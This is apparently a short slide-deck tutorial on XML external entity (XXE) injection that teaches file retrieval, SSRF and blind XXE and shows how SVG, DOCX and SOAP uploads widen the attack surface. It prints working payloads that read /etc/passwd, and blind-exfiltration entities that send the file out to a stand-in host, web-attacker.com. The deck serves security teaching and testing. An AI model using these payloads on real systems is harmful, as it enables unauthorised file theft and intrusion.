XXE

BY UNCLE RAT

Agenda

- What it is
- Types of XXE attacks
- Attack strategy
- Increasing attack surface

What it is

What it is

- XXE = Xml eXternal Entities
- Occurs when XML document is parsed
- Standard libraries or APIs for XML processing contain dangerous features
- Not every developer knows about these
- XML eternal entities , external = outside of DTD

Types of XXE attacks

Types of XXE attacks

- XXE to retrieve files
- XXE to perform SSRF
- Blind XXE
- …

Types of XXE attacks – Retrieving files

- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
  <product>&xxe;</product>
- <adress>&xxe;</adress>
- ...
- Defines an external entity called XXE
- Grabs /etc/passwd using the file
- We will have to test each node of the XML file

Types of XXE attacks – SSRF

- `<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://intranet.cheeseshop.com"> ]>`

- ...
- Makes system call to an internal network
- We can test for &xxe; in every node again
- See SSRF

Types of XXE attacks – Blind

- Majority of XXE will be blind
  - Detection
    - `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com">
      ]>`
    - We will be getting callback on our system
  - Data exfiltration via OAST
    - <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
      %eval;
      %exfiltrate;

Types of XXE attacks – Blind

- Majority of XXE will be blind
  - Detection
    - `<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com">`
      `]>`
    - We will be getting callback on our system
  - Data exfiltration via error message
    - <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
      %eval;
      %error;

Attack strategy

Attack strategy

- `<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "burp collaborator URL"> ]`
  - Create this as test.xml
  - Upload wherever possible
  - Look for HTTP and DNS request in burp collaborator
  - Increase attack surface

Increasing attack surface

Increasing attack surface

- SVG is just XML describing images
  - Wherever we can upload image > XXE if svg is possible
- DOCX/XLSX can also be used for XXE
  - https://doddsecurity.com/312/xml-external-entity-injection-xxe-in-opencats-applicant-tracking-system/
- SOAP Requests are also just XML requests